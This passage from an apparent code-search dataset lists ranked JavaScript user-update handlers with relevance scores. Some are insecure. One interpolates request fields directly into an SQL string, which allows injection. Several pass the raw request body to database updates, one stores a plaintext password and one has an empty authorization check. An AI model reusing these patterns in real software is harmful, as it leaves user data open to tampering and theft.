"087ffd4ac292b7329637337bba93340f", "score": "0.737563", "text": "function updateUser (req,res){\n\t\tvar userId = req.params.id;\n\t\tvar update = req.body;\n\n\t\tif(userId != req.user.sub){\n\t\t\t\treturn res.status(500).send({message:'No tienes permisos para actualizar este usuario'});\n\t\t}\n\n\t\tUser.findByIdAndUpdate(userId,update,(err,userUpdated)=>{\n\t\t\tif(err){\n\t\t\t\tres.status(500).send({message:'Error al actualizar el ussario'});\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif(!userUpdated){\n\t\t\t\t\tres.status(404).send({message:\"No se ha podido actualizar el usuario\"})\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tres.status(200).send({user:userUpdated})\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t});\n\n\t}", "title": "" }, { "docid": "5beefb8d356695568e9d5c67e7b10f52", "score": "0.7346477", "text": "function updateUser(req, res) {\n var user = req.body;\n user.userId = req.swagger.params.userId.value;\n if (!user.email) {\n User.scan().where('userId').equals(user.userId).exec(function(err, dynamoRes) {\n if (err) {\n res.status(500).json(err);\n } else {\n user.email = dynamoRes.Items[0].attrs.email;\n User.update(user, function(err, updatedUser) {\n if (err) {\n res.status(500).json(err);\n } else {\n res.status(200).json(updatedUser);\n }\n });\n }\n });\n } else {\n User.update(user, function(err, updatedUser) {\n if (err) {\n res.status(500).json(err);\n } else {\n res.status(200).json(updatedUser);\n }\n });\n }\n\n}", "title": "" }, { "docid": "68ed7a60acdde4069895d6a4d0e3a28a", "score": "0.7336787", "text": "function editUser(req, res) {\n const updatedFields = {};\n\n const { userId } = req.params;\n const { email } = req.body;\n const { firstname } = req.body;\n const { surname } = req.body;\n const { avatarImage } = req.body;\n const { password } = req.body;\n const { phone } = req.body;\n const { signUpDate } = req.body;\n\n // Get the new information\n if (email) updatedFields.email = req.body.email;\n if (password) updatedFields.password = req.body.password;\n if (firstname) updatedFields.firstname = req.body.firstname;\n if (surname) updatedFields.surname = req.body.surname;\n if (avatarImage) updatedFields.avatarImage = req.body.avatarImage;\n if (phone) updatedFields.phone = req.body.phone;\n if (signUpDate) updatedFields.signUpDate = req.body.signUpDate;\n\n // Update the user\n User.findByIdAndUpdate(userId, updatedFields, (err) => {\n if (err) return res.status(500).send({ message: `Error finding user ${err}` });\n\n return res.status(200).send({ message: 'User updated' });\n });\n}", "title": "" }, { "docid": "e9c690e58badc9a124e6d7036135893b", "score": "0.73302704", "text": "function updateUser(req, res){\n var userId = req.params.id; //user que se recibe por url\n var update = req.body;\n\n delete update.password;\n\n if(userId != req.user.sub){//sera que es igual al usuario logueado\n res.status(500).send({message: 'No tienes permiso para editar datos de este usuario'});\n }\n else{\n User.findByIdAndUpdate(userId, update, {new:true}, (err, userUpdated) => {\n if(err)\n res.status(500).send({message: 'Error en la peticion'});\n else if(!userUpdated){\n res.status(404).send({message: 'No existe el usuario'});\n }\n else{\n res.status(200).send({user: userUpdated});\n }\n });\n }\n}", "title": "" }, { "docid": "eda117c439d4d36fc9bab9c8e2fcee39", "score": "0.7323123", "text": "function updateUser(req, res){\n var userId= req.params.id;\n var update= req.body;\n // borrar propiedad password\n delete update.password;\n delete update.email;\n\n if(userId != req.user.sub){ return res.status(300).send({message:'no tienes permiso'})};\n User.findOneAndUpdate({_id:userId}, update,{new:true}, (err, userUpdated) =>{\n if(err) return res.status(505).send({message:'No tienes permiso para actualizar los datos del usuario'});\n if(!userUpdated) return res.status(404).send({message:'No se ha podido actualizar el usuario'});\n return res.status(200).send({user:userUpdated});\n }); \n }", "title": "" }, { "docid": "1e7ebf786e80a62b319a89565e2821e1", "score": "0.7319386", "text": "function updateUser(user) {\n $.ajax({\n method: \"PUT\",\n url: \"/api/users\",\n data: user\n }).then(getUsers);\n }", "title": "" }, { "docid": "0b9f7ec48fe3efe323ec026dba0587f7", "score": "0.73177737", "text": "function updateUser(req, res){\n var userId = req.params.id;\n var update = req.body;\n\n if(userId != req.user.sub){\n return res.status(500).send({ message: 'No tienes permiso para actualizar el usuario'});\n }\n User.findByIdAndUpdate(userId, update, (err, userUpdated) => {\n if(err){\n res.status(500).send({ message: 'Error al actualizar el usuario'});\n }else{\n if(!userUpdated){\n res.status(404).send({ message: 'No se ha podido actualizar el usuario'});\n }else{\n res.status(200).send({user: userUpdated});\n }\n }\n });\n}", "title": "" }, { "docid": "7d4ac1c7b6ba3bb7277b72f236be1ad1", "score": "0.7294905", "text": "static async updateUser(req, res) {\n try {\n jwt.verify(req.token, config.server.token);\n \n // validate inputs\n const profileUpdateValidatorError = await ProfileUpdateValidator(req.body);\n if (profileUpdateValidatorError.message) return res.status(400).send(profileUpdateValidatorError.message);\n\n const updatedUser = await UserModel.findByIdAndUpdate(req.body.userId, {\n firstname: req.body.firstname,\n lastname: req.body.lastname,\n email: req.body.email,\n phone: req.body.phone,\n about: req.body.about,\n modifyDate: Date.now()\n }, { new: true });\n\n if (updatedUser) return res.status(200).json({ msg: `User profile updated`, code: 200, obj: updatedUser });\n return res.status(404).json({ msg: `Profile update failed`, code: 404 });\n } catch (error) {\n return res.status(500).json({ msg: `User access process failed`, code: 500 });\n }\n }", "title": "" }, { "docid": "40c62225598e08196d93f827061c860d", "score": "0.7288166", "text": "function updateUser(req, res) {\n User.findById({_id: req.params.id}, (err, user) => {\n if(err) res.send(err);\n Object.assign(user, req.body).save((err, user) => {\n if(err) res.send(err);\n res.json({ message: 'User updated!', user });\n });\n });\n}", "title": "" }, { "docid": "755a2fc8028d7287c9b4010fdbdac406", "score": "0.7279113", "text": "function updateUser(data) {\n return User.update({id:data.id}, data).$promise.then(function(success) {\n console.log(success);\n }, function(error) {\n console.log(error);\n });\n }", "title": "" }, { "docid": "ce0046a1d9acf8a8c49e5eb987527d94", "score": "0.7271562", "text": "function updateUser(id, user) {\n return $http.put('/api/users/' + id, user)\n .then(complete)\n .catch(failed);\n }", "title": "" }, { "docid": "c6f46681a1b6f7a41404961658aae241", "score": "0.726129", "text": "function updateUser(user) {\n var putRequestUrl = USER_SERVICE_URL + \"/\" + user._id;\n return $http.put(putRequestUrl, user);\n }", "title": "" }, { "docid": "0654bff7a4c31423f58142811f60cd13", "score": "0.7236164", "text": "function updateUser(user){\n return db('users')\n .where({id: user.id})\n .update(user, 'id')\n}", "title": "" }, { "docid": "306601744542b9ad52573aa63c3a1019", "score": "0.721831", "text": "function updateUser(req, res) {\n\tlet userId = req.params.id\n\n\tlet nombre = req.body.nombre\n\tlet email = req.body.email\n\tlet password = req.body.password\n\n\tconst sql = `UPDATE usuarios SET nombre=\"${nombre}\", email=\"${email}\", password=\"${password}\" WHERE id=\"${userId}\"`\n\tconsole.log(sql)\n\tvar connection = conectar();\n\tconnection.query(sql, function (err, result) {\n\t\tif (err) {\n\t\t\tvar msg = `Error al actualizar el usuario: ${err}`;\n\t\t\tlogger.info();\n\t\t\tlogger.info(msg);\n\t\t\treturn res.status(500).send({ message: `${msg}` });\n\t\t}\n\n\t\tres.status(200).send({ message: 'Se actualizaron los datos del usuario' })\n\t});\n\tconnection.end();\n}", "title": "" }, { "docid": "0d07dd8a8705ab857f80f76e6634cc2b", "score": "0.7207136", "text": "function update(req, res) {\n User.findOneAndUpdate({_id: req.params.id}, req.body, {new: true},\n function(err, user) {\n if (err) throw err\n res.json(user)\n })\n}", "title": "" }, { "docid": "3fcb5360484f251a53071a35cb189c9f", "score": "0.7203551", "text": "function updateUser(req, res) {\n var userId = req.user.sub;\n var role = req.user.role;\n if (role === 'R' && req.params._id !== userId) {\n return res.status(401).send('Role access denied for updating user');\n }\n userService.updateUser(req.params._id, req.body)\n .then(function () {\n res.sendStatus(200);\n })\n .catch(function (err) {\n res.status(400).send(err);\n });\n}", "title": "" }, { "docid": "6f9cb5474116717591ae992e1e15f9c4", "score": "0.7197916", "text": "async update(req, res){\n try {\n const user = await User.findByIdAndUpdate(req.params.id, req.body, {new: true});\n return res.json(user); \n } catch (error) {\n return res.status(400).json({ error: 'Error updating user'});\n }\n }", "title": "" }, { "docid": "5331214d34158f0901f902e765f7839f", "score": "0.71969503", "text": "async modifyUser() {\n \n // ........... authority judge\n\n\n const user = this.ctx.request.body;\n\n this.ctx.body = await this.service.users.update(user);\n }", "title": "" }, { "docid": "88625ebfb2bceedaa91cb69aa332b79e", "score": "0.7193733", "text": "function updateUser(req, res, next) {\n console.log('Middleware: updateUser ===============================');\n User.findByIdAndUpdate(\n req.body.user,\n {$set: {\n \"local.firstName\": req.body.firstName,\n \"local.lastName\": req.body.lastName,\n \"nickname\": req.body.nickname,\n \"local.email\": req.body.email\n }}, \n {new: true},\n function(err, updatedUser) {\n req.updatedUser = updatedUser;\n return next();\n }\n );\n}", "title": "" }, { "docid": "9681f8b0d2b98483f6502aa35a557a4d", "score": "0.7175002", "text": "function update(user) {\n const requestOptions = {\n method: \"PUT\",\n headers: {\n // ...authHeader(),\n \"Content-Type\": \"application/json\",\n },\n body: JSON.stringify(user),\n };\n\n return fetch(`/users/${user.id}`, requestOptions).then(handleResponse);\n}", "title": "" }, { "docid": "a1a5bbb8d06aa3c687098b50b2783b6a", "score": "0.71748126", "text": "update(req, res) {\n return User.findByPk(req.params.id)\n .then(user => {\n if (!user) {\n return res.status(404).send({\n message: 'User Not Found'\n });\n }\n return user\n .update({\n cpf: req.body.cpf,\n name: req.body.name,\n email: req.body.email,\n phone: req.body.phone,\n monthlyIncome: req.body.monthlyIncome\n })\n .then(user => res.status(200).send(user))\n .catch(error => res.status(400).send(error));\n })\n .catch(error => res.status(400).send(error));\n }", "title": "" }, { "docid": "552c059922df3bc049fb71cfab826d61", "score": "0.7168358", "text": "static async editUser(user) {\n const { firstName, lastName, password, email, username } = user;\n let response = await this.request(`users/${username}`,\n { password, firstName, lastName, email },\n \"patch\");\n return response.user;\n }", "title": "" }, { "docid": "1334aafdcdbde4909684e15547bdb750", "score": "0.7167936", "text": "function updateUser(req, res) {\n req.body.firstName = \"ayyy\";\n var user = new User();\n User.findById(req.params.userId, function(err, user) {\n err && res.send(err);\n\n user.firstName = req.body.firstName ? req.body.firstName : user.firstName,\n user.lastName = req.body.lastName ? req.body.lastName : user.lastName;\n user.email = req.body.email ? req.body.email : user.email;\n user.phone = req.body.phone ? req.body.phone : user.phone;\n user.address = req.body.address ? req.body.address : user.address;\n user.attEmail = req.body.attEmail ? req.body.attEmail : user.attEmail;\n user.attPW = req.body.attPW ? req.body.attPW : user.attPW;\n user.imei = req.body.imei ? req.body.imei : user.imei;\n user.iccid = req.body.iccid ? req.body.iccid : user.iccid;\n user.autoRenewal = req.body.autoRenewal ? req.body.autoRenewal : false;\n user.ebayUsername = req.body.ebayUsername ? req.body.ebayUsername : null;\n \n user.save(function(err) {\n err ? res.json(err) : res.json({message: 'User Info Updated Successfully.', data: user});\n });\n });\n}", "title": "" }, { "docid": "bf41e786781c3fff27f90fca857099f9", "score": "0.71561307", "text": "function updateUserById(req,res) {\n var id = req.params.id;\n var user = req.body;\n userModel.updateProfile(id, user)\n .then(function(user) {\n req.session.currentUser = user;\n res.json(user);\n },\n function (err) {\n res.status(400).send(err);\n });\n }", "title": "" }, { "docid": "997dff56d4ab09281af89f2863011aa7", "score": "0.7136218", "text": "function updateUser(userId, user) {\n var url = \"/api/user/\" + userId;\n return $http.put(url, user);\n }", "title": "" }, { "docid": "14cdbe0bbf5b4e55b755ade5f99b41e6", "score": "0.7130339", "text": "function updateUser(userId, updatedUser){\n return $http.put(\"/api/assignment/user/\" + userId, updatedUser);\n }", "title": "" }, { "docid": "fec2ff36ab0f5666041c38e7e718c406", "score": "0.7127409", "text": "async put(req, res) {\n try {\n let user = await User.update({\n firstName: req.body.firstName,\n lastName: req.body.lastName,\n workId: req.body.workId,\n salId: req.body.salId,\n }, {\n where: {\n id: req.body.id\n }\n }\n );\n return res.json({\n data: user\n })\n } catch (err) {\n return res.json({\n exception: err.message\n })\n }\n }", "title": "" }, { "docid": "10c216c0f8ab46083048a15438eaff0f", "score": "0.71271545", "text": "updateUser(state, data){\n state.user = data\n }", "title": "" }, { "docid": "b6c13a5bf6c69cbc29ccb0b2335ed62f", "score": "0.71233547", "text": "function updateUser(req, res){\r\n var userId = req.params.id;\r\n var update = req.body;\r\n\r\n //borrar propiedad password\r\n delete update.password;\r\n\r\n if (userId != req.user.sub) {\r\n return res.status(500).send({message: 'no tiene permiso para actualizar los datos del usuario'});\r\n }\r\n\r\n //no repetir usuario ni correo en actualizar Datos\r\n\r\n User.find({$or: [\r\n {email: update.email.toLowerCase()},\r\n {username: update.username.toLowerCase()}\r\n ]}).exec((err, users) => {\r\n\r\n var user_isset = false;\r\n users.forEach((user) => {\r\n if(user && user._id != userId) user_isset = true;\r\n });\r\n\r\n if(user_isset) return res.status(404).send({message: 'Los datos ya estan en uso'});\r\n\r\n User.findByIdAndUpdate(userId, update, {new: true},(err, userUpdated) => {\r\n if(err) return res.status(500).send({message: 'Error en la peticion'});\r\n\r\n if(!userUpdated) return res.status(404).send({message: 'No se ha podido actualizar el usuario, Usuario o correo ya existentes'});\r\n\r\n return res.status(200).send({user: userUpdated});\r\n });\r\n\r\n });\r\n\r\n\r\n}", "title": "" }, { "docid": "728c691287b6f4bd4b85d309ff035ccb", "score": "0.7119274", "text": "async update(req, res) {\n const user = req.body;\n const filter = { email: user.email };\n const options = { upsert: true };\n const updateDoc = { $set: user };\n try {\n const result = await User.updateOne(filter, updateDoc, options);\n res\n .status(200)\n .json({ message: \"user update successfully!\", data: result });\n } catch (error) {\n res.status(500).json({\n message: \"there was a server side error\",\n error: error.message,\n });\n }\n }", "title": "" }, { "docid": "482aa91ac8aaac80b7f506d6b31c6085", "score": "0.7119128", "text": "function update(req, res) {\r\n\r\n console.log('Updating an account with id = ' + req.params.id);\r\n // Update all user fields except for password\r\n User.findByIdAndUpdate(req.params.id, req.body, function (err, user) {\r\n if (err) {\r\n sendJSONresponse(res, 500, err);\r\n }\r\n utils.sendJSONresponse(res, 200, {\r\n \"status\" : \"updated\"\r\n });\r\n });\r\n console.log('This account has been updated');\r\n}", "title": "" }, { "docid": "554a870192c6f895056bcc94d5fb28d8", "score": "0.71168864", "text": "function update_user_info(data, success, fail) {\n _post(updateUserUrl, data, success, fail)\n}", "title": "" }, { "docid": "2673b15c67f50968cf93cbbd99b1011c", "score": "0.7113864", "text": "function updateUser(e) {\n e.preventDefault();\n if (\n updateAge.value === \"\" ||\n isNaN(updateAge.value) ||\n updateName.value === \"\" ||\n !isNaN(updateName.value)\n ) {\n alert(\"Incorrect input\");\n return;\n }\n fetch(`https://test-users-api.herokuapp.com/users/${updateId.value}`, {\n method: \"PUT\",\n body: JSON.stringify({\n name: `${updateName.value}`,\n age: `${updateAge.value}`\n }),\n headers: {\n \"Content-type\": \"application/json; charset=UTF-8\"\n }\n })\n .then(response => {\n if (response.ok) return response.json();\n throw new Error(\"Error fetching data\");\n })\n .then(users => users.data.id)\n .then(() => alert(\"User modified\"))\n .catch(error => {\n console.log(\"ERROR\" + error);\n alert(\"Incorrect Id\");\n });\n}", "title": "" }, { "docid": "3ae9138e90c8dc5e04d6f2959795ccac", "score": "0.7099794", "text": "static async updateUser(username, data) {\n let res = await this.request(`users/${username}`, data, \"patch\");\n return res.user;\n }", "title": "" }, { "docid": "85a4491b5f94efb683c3977e5cf77ade", "score": "0.7095751", "text": "function updateUser(req, res) {\n // Validate Request\n if (!req.body.email || !req.body.password || !req.body.name) {\n return res.status(400).send({\n message: \"Fields name, email or password can not be empty\"\n });\n }\n userService.updateUser(req.params.id, req.params.name, req.body.email, req.body.password)\n .then(user => user ? res.json(user) : res.status(404).send({\n message: \"User not found with id \" + req.params.id\n })).catch(err => {\n return res.status(500).send({\n message: err.message || \"Error updating user with id \" + req.params.id\n });\n });\n}", "title": "" }, { "docid": "0a7281cce7b792cf718f1724cb3cd46a", "score": "0.7088296", "text": "editUser (req, res) {\n const queryObj = {\n userID: req.body.id,\n userUpdate: req.body.update\n }\n\n // Wait for User to be successfully created and then return the User\n Promise.resolve(userDAL.editUser(queryObj)).then((updatedUser) => {\n // Send result\n res.status(201).send(JSON.stringify(updatedUser))\n })\n }", "title": "" }, { "docid": "bfe63fc121e7180f99da6d197acfc932", "score": "0.70846474", "text": "function updateUser(){\n requestProxy({keyName: 'getUser'})\n .success(function(data){\n $scope.accountData.user = data;\n });\n }", "title": "" }, { "docid": "5ac2e70442ec286098f83ebe37ab3a32", "score": "0.70777076", "text": "update(req, res, next) {\n const { username } = req.body;\n\n const modifiedUser = {\n id: req.params.id,\n username,\n };\n\n db.update(modifiedUser)\n .then((user) => {\n res.locals.user = user;\n next();\n })\n .catch(e => next(e));\n }", "title": "" }, { "docid": "37e0c781c36ee63193c1ea5169ade0bf", "score": "0.7070081", "text": "function updateUser(req, res) {\n \n let userId = req.decoded.uid\n let id = req.params.id\n let data = req.body\n adminService.updateUser(userId, id, data).then((result) => {\n res.json(result)\n }).catch((err) => {\n res.json(err)\n })\n}", "title": "" }, { "docid": "d00fe87af8b96ea0f6c7f2881c48ea7f", "score": "0.70671874", "text": "function update(user) {\n return $http.put(ENV.apiEndpoint + 'account/update-profile/', user);\n }", "title": "" }, { "docid": "8369105fc5f840fdfbae537a18b38157", "score": "0.70562327", "text": "function updateUser(newUser) {\n // set user in state\n setUser(newUser);\n\n // update user in localstorage\n setStoredUser(newUser);\n\n // TODO: pre-populate user profile in React Query client\n }", "title": "" }, { "docid": "43bbdb0344411474bf45a4ebf7438c88", "score": "0.7053194", "text": "function updateUser(req, res) {\n var userId = req.params['userId'];\n var user = req.body;\n var errorMessage = {};\n\n userModel\n .updateUser(userId, user)\n .then(updateUserSuccess, updateUserError);\n\n function updateUserSuccess(numUpdated) {\n if (numUpdated) {\n res.json(user);\n } else {\n errorMessage.message = \"User with id \" + userId + \" was not found.\";\n res.status(404).json(errorMessage);\n }\n }\n\n // user was not found so return an error\n function updateUserError(error) {\n errorMessage.message = \"Could not update the user. Please try again later.\";\n res.status(500).json(errorMessage);\n }\n }", "title": "" }, { "docid": "67de82e72452b16f8f8228c9df6bdcf1", "score": "0.7044113", "text": "function update(user, id) {\n return db('users')\n .where({ id })\n .update(user);\n}", "title": "" }, { "docid": "c96684be4492bae634769dcbd124dd30", "score": "0.70251274", "text": "async function update(req, res) {\n try {\n const updateUser = req.body;\n const user = await User.findOne({\n where: { id: updateUser.id },\n });\n user.update({\n firstname: updateUser.firstname,\n lastname: updateUser.lastname,\n email: updateUser.email,\n address: updateUser.address,\n phone: updateUser.phone,\n role: updateUser.role,\n });\n if (user) {\n res.json({ success: `User id: ${user.id}, updated correctly` });\n } else {\n res.json({\n error: \"User not found, please make sure the user you are trying to update exist\",\n });\n }\n } catch (error) {\n console.log(error);\n }\n}", "title": "" }, { "docid": "f6e36714a6137d51e4acfe68d8a521a1", "score": "0.7024773", "text": "update ({user, body}, res) {\n if (user.id === body.id) {\n user = body;\n }\n\n res.status(204).json(user);\n }", "title": "" }, { "docid": "52b213f8cf9984a682985ffb2a5c23ad", "score": "0.70210683", "text": "update(req, res, next) {\n var user = req.user;\n var changes = req.body;\n var ctx = req.ctx;\n\n ctx.requester = user;\n\n UserService.update(user, changes, ctx, function(err, updatedUser){\n if (err) {\n err.setReq(req);\n return next(err);\n }\n\n res.json({user: updatedUser});\n });\n }", "title": "" }, { "docid": "571332e08db7d7c1dc4f96a72aa36944", "score": "0.70175177", "text": "function updateUser(req, res) {\n return UserModel.findOne({email: req.params.email},\n function (err, user) {\n if(err) {\n return errHandler(err);\n }\n console.log(user);\n user.name = req.body.name;\n user.email = req.body.email;\n user.photo = req.body.photo;\n user.address = req.body.address;\n user.save(function (err, user) {\n if(err) {\n return errHandler(err);\n }\n console.log('User updated: ', user);\n return res.json(user);\n });\n });\n}", "title": "" }, { "docid": "30c93d0e20e74bcd7b1088f414f0f703", "score": "0.70138687", "text": "function updateUser(req, res) {\n var userId = req.params.id;\n var update = req.body;\n\n //Borrar propiedad password\n delete update.password;\n\n //Si el ID que llega es distinto al del usuario\n if (userId != req.user.sub) {\n return res.status(500).send({ message: 'No tienes permiso para actualizar los datos del usuario' });\n }\n\n //Evitar actualización de duplicados\n User.findOne({ \n $or: [\n \n { nick: update.nick.toLowerCase() } \n ]\n }).exec((err, users) => {\n \n \n if (users && user._id != userId) return res.status(404).send({ message: 'Los datos ya están en uso' });\n \n //Si no coinciden los datos buscará ese objeto mediante su ID para su posterior actualización.\n\n //Devolver datos actualizados\n User.findByIdAndUpdate(userId, update, { new: true }, (err, userUpdated) => {\n if (err) return res.status(500).send({ message: 'Error en la petición' });\n\n if (!userUpdated) return res.status(404).send({ message: 'No se ha podido actualizar el usuario' });\n\n return res.status(200).send({user: userUpdated});\n });\n });\n}", "title": "" }, { "docid": "f40e7a808e12f745b7b9f48228842655", "score": "0.70057267", "text": "function Update(user,id,token){\n\t\t\tvar req = {\n\t\t\t\t\t\tmethod: 'PUT',\n\t\t\t\t\t\turl: 'https://api.a2zonrent.com/api/users/'+id + '?authtoken='+ token,\n\t\t\t\t\t\theaders: {\n\t\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t\t\t},\n\t\t\t\t\t\tdata: user\n\t\t\t\t\t}\n\t\t\treturn $http(req).then(handleSuccess, handleError('Error updating user'));\n\t\t}", "title": "" }, { "docid": "38d61f0dc4f0f65ec26b859777555306", "score": "0.6998451", "text": "function updateUser(req, res){\n var userId = req.params.id;\n var update = req.body;\n\n //borramos la propiedad password para que no se pueda editar en esta funcion\n delete update.password;\n\n if(userId != req.user.sub) {\n return res.status(500).send({message: 'no tienes permiso para actualizar'});\n }\n\n //Validacion usurios duplicados\n User.find({ $or: [\n {email: update.email}, \n {rut: update.rut}\n ]}).exec((err, users) => {\n \n var user_isset = false;\n\n users.forEach((user) => {\n if(user && user._id != userId) user_isset = true;\n });\n\n if(user_isset) return res.status(200).send({message: 'Los datos ya estan en uso'}); \n\n User.findByIdAndUpdate(userId, update, {new: true}, (err, userUpdated) => {\n if(err) return res.status(500).send({message: 'Error en la peticion'});\n if(!userUpdated) return res.status(404).send({message: 'no se a podido actualizar el usuario'});\n return res.status(200).send({user: userUpdated});\n });\n });\n}", "title": "" }, { "docid": "e9dc193dbc809ca1a0c51d4304bbe927", "score": "0.69890004", "text": "async function updateUser(req, res) {\n let id = req.params.id;\n\n await User.update(req.body, { where: { id: id } })\n .then(async user => {\n if (user == 1) {\n saveBitacora('User', id, 'update user', 'update', req.user.id);\n res.status(200).json({\n ok: true,\n message: 'Usuario actualizado con éxito',\n user\n });\n } else {\n res.status(200).json({\n ok: false,\n message: `No existe el usuario con id = ${id}.`\n });\n }\n })\n .catch(err => {\n res.status(500).json({\n ok: false,\n message: `No se pudo actualizar el usuario con id = ${id}.`,\n error: err.parent.detail\n });\n });\n}", "title": "" }, { "docid": "f14ba09ed0633a752980b28e2817e502", "score": "0.698739", "text": "updateUser({ params, body }, res){\n User.findOneAndUpdate({ _id: params.id }, body, { new: true, runValidators: true })\n .then(userData => {\n if (!userData) {\n res.status(404).json({ message: 'No user found with this id!' });\n return;\n }\n res.json(userData);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "d1cbdbf683727a8bab3b83fb525b9df2", "score": "0.69813824", "text": "function updateUser(id, updatedUser) {\n\t\t\tvar deferred = $q.defer();\n\t\t\t$http.put(\"/api/assignment/user/\" + id, updatedUser)\n\t\t\t\t.success(function(response) {\n\t\t\t\t\tdeferred.resolve(response);\n\t\t\t\t});\n\t\t\treturn deferred.promise;\n\t\t}", "title": "" }, { "docid": "9095a47b350b3dc278b8a2023bc56eb8", "score": "0.69684327", "text": "function updateUser(userId, user) {\n return fetch(`${self.url}/${userId}`,\n {\n method: 'PUT',\n headers: {\n 'content-type': 'application/json'\n },\n body: JSON.stringify(user)\n }).then(function (response) {\n return response.json();\n });\n }", "title": "" }, { "docid": "1b58ac375345394252550b2bf79376b6", "score": "0.69669497", "text": "function userUpdate(user) {\n\t $.ajax({\n\t url: \"http://localhost:8080/users/\" + user.id,\n\t type: 'PUT',\n\t contentType: \"application/json;charset=utf-8\",\n\t data: JSON.stringify(user),\n\t success: function(user) {\n\t userUpdateSuccess(user);\n\t },\n\t error: function(request, message, error) {\n\t handleException(request, message, error);\n\t }\n\t });\n\t}", "title": "" }, { "docid": "a3a7d62b11e4510e48f5eae2d57985aa", "score": "0.69349164", "text": "function updateUser(firstName, lastName, email, street, street2, city, state, zip, phone, question, answer) {\n fetch('/api/user_data', {\n method: 'GET',\n headers: {\n 'Content-Type': 'application/json',\n },\n })\n .then((response) => response.json())\n .then((data) => {\n savedEmail = data.email;\n savedID = data.id;\n $.post(\"/api/updateUserReg\", {\n id: data.id,\n firstName: firstName,\n lastName: lastName,\n email: email,\n street: street,\n street2: street2,\n city: city,\n state: state,\n zip: zip,\n phone: phone,\n question: question,\n answer: answer,\n })\n .then(() => {\n window.location.replace(\"/userLanding\");\n // If there's an error, handle it by throwing up a bootstrap alert\n })\n .catch(handleLoginErr);\n })\n }", "title": "" }, { "docid": "531285f758ac9cbbfe371df9d639f450", "score": "0.69297934", "text": "async function putUser(req, res) {\n // (await)\n let isExist = await queryUser.findUser({ id: req.body.id, name: req.body.name })\n if(!isExist) {\n return res.status(400).json({\n message: \"user not exists\"\n })\n }\n // (tanpa await)\n queryUser.editUser({ id: req.body.id, name: req.body.name })\n return res.status(200).json({\n message: \"update user success\"\n })\n}", "title": "" }, { "docid": "14ed06c6ee870b246c51395357036efc", "score": "0.6926297", "text": "function edit_user(data) {\r\n\tdata = (data || req.data);\r\n\tif(!data.username)\r\n\t\treturn false;\r\n\r\n\tvar user = app.getHits(\"User\", {_id: data.user_id}).objects(0,1)[0];\r\n\tif(!user)\r\n\t\treturn false;\r\n\r\n\tif(data.password){\r\n\t\tuser.setPassword(data.password);\r\n\t\tdelete data.password;\r\n\t}\r\n\treturn user.edit(data);\r\n}", "title": "" }, { "docid": "75ff580542e71dc547b577d051f6728d", "score": "0.6926155", "text": "function update(username, newUser, callback) {\n\n\tvar query = {\n\t\tusername: username\n\t}\n\n\tvar options = {\n\t\tnew: true,\n\t\tupsert: true,\n\t\trunValidators: true,\n\t\tmaxTimeMS: 1000\n\t}\n\n\tUser.findOneAndUpdate(query, newUser, options, function (err, user) {\n\t\tconsole.log(err);\n\t\tif (err) callback(err, null);\n\t\tcallback(null, user)\n\t});\n}", "title": "" }, { "docid": "b9e1a53b101624084c69d0f90946244f", "score": "0.69193715", "text": "async update({ request, auth, response, user }) {\n const fields = request.all()\n user.merge(fields)\n await user.save()\n\n const tokens = await auth\n .withRefreshToken()\n .generate(await User.find(user.id), true)\n\n return response.updated(tokens)\n }", "title": "" }, { "docid": "03c42ec39892f7dd0869f6e514180ae5", "score": "0.69158435", "text": "updateUser(req, res, next) {\n console.log('-=-=-=-=-=-=-=-=-=-=- A PUT request was made -=-=-=-=-=-=-=-=-=-=-' + '\\n' +\n '-=-=-=-=-=-=-=-=-=-=-=-=-=- PUT a user -=-=-=-=-=-=-=-=-=-=-=-=-=-');\n\n try {\n /* validation */\n assert(req.body.username, 'username must be provided');\n assert(req.body.password, 'password must be provided');\n assert(req.body.newPassword, 'new password must be provided');\n\n\n /* making constants with (new) username and (new) password from the request's body */\n const username = req.body.username || '';\n const password = req.body.password || '';\n const newPassword = req.body.newPassword || '';\n\n /* hashing the password with bcrypt */\n const hashedNewPassword = bcrypt.hashSync(newPassword);\n\n /* update the user with the given constants */\n User.findOne({ username: username })\n .then((user) => {\n if(user !== null){\n if(bcrypt.compareSync(password, user.password)){\n console.log('-=-=-=-=-=-=-=-=-=-=- Updating user ' + user.username + ' -=-=-=-=-=-=-=-=-=-=-');\n User.updateOne({username: username}, {password: hashedNewPassword}) // Find first record with the specific username and update it in the database - .findOneAndUpdate returns a promise\n .then( () => {\n return res.status(200).json('user updated').end()\n })\n .catch((error) => next(new ApiError(error.toString(), 500)))\n } else {\n next(new ApiError('password does not match', 401));\n }\n } else {\n next(new ApiError('user not found', 404));\n }\n });\n } catch (error) {next(new ApiError(error.message, 500))\n }\n }", "title": "" }, { "docid": "600e6cc305dd602a46b9c2da231e135f", "score": "0.69108427", "text": "updateUser({ params, body }, res) { // destructure both the 'params' and the 'body'\n\n // \"new:true\" indicates return new version after modification\n User.findOneAndUpdate({ _id: params.id }, body, { new: true, runValidators: true })\n .then(dbUserData => {\n if (!dbUserData) {\n res.status(404).json({ message: 'No user found with this id!' });\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "572cc276b3dba9f076406808561aef25", "score": "0.69103336", "text": "updateUser(param, options) {\n return this.api.updateUser(param.userId, param.user, param.strict, options).toPromise();\n }", "title": "" }, { "docid": "4f345a5e3e12387e5704e6df56a7745d", "score": "0.69069093", "text": "function update() {\n Account.update(vm.username, vm.account)\n .then(updateSuccessFn)\n .catch(updateErrorFn);\n }", "title": "" }, { "docid": "56125ab42863615683d0f604c88b3260", "score": "0.68970907", "text": "function update(user, id) {\r\n return db(\"users\")\r\n .where({ id })\r\n .update(user)\r\n .then(() => find(id));\r\n}", "title": "" }, { "docid": "33eda191869a3ec5281e0c87d21642a2", "score": "0.6872383", "text": "function update(req, res){\n return users\n .findOne({ where: {id: parseInt(req.params.userId)} })\n .then(user => {\n if(!user){\n return res.status(201).send({message: 'User Not Found'});\n }\n\n // update users table entries\n return user\n .update(req.body, {\n fields: Object.keys(req.body) \n })\n .then(updatedUser => {\n const updatedUserInfo = updatedUser.dataValues;\n return getAllUpdatedInfo(updatedUserInfo, req);\n })\n .then(updatedUser => {\n if(updatedUser instanceof Error){\n return res.status(400).send({message: updatedUser.message});\n }\n return res.status(200).send(updatedUser);\n })\n .catch(error => res.status(400).send(error));\n })\n 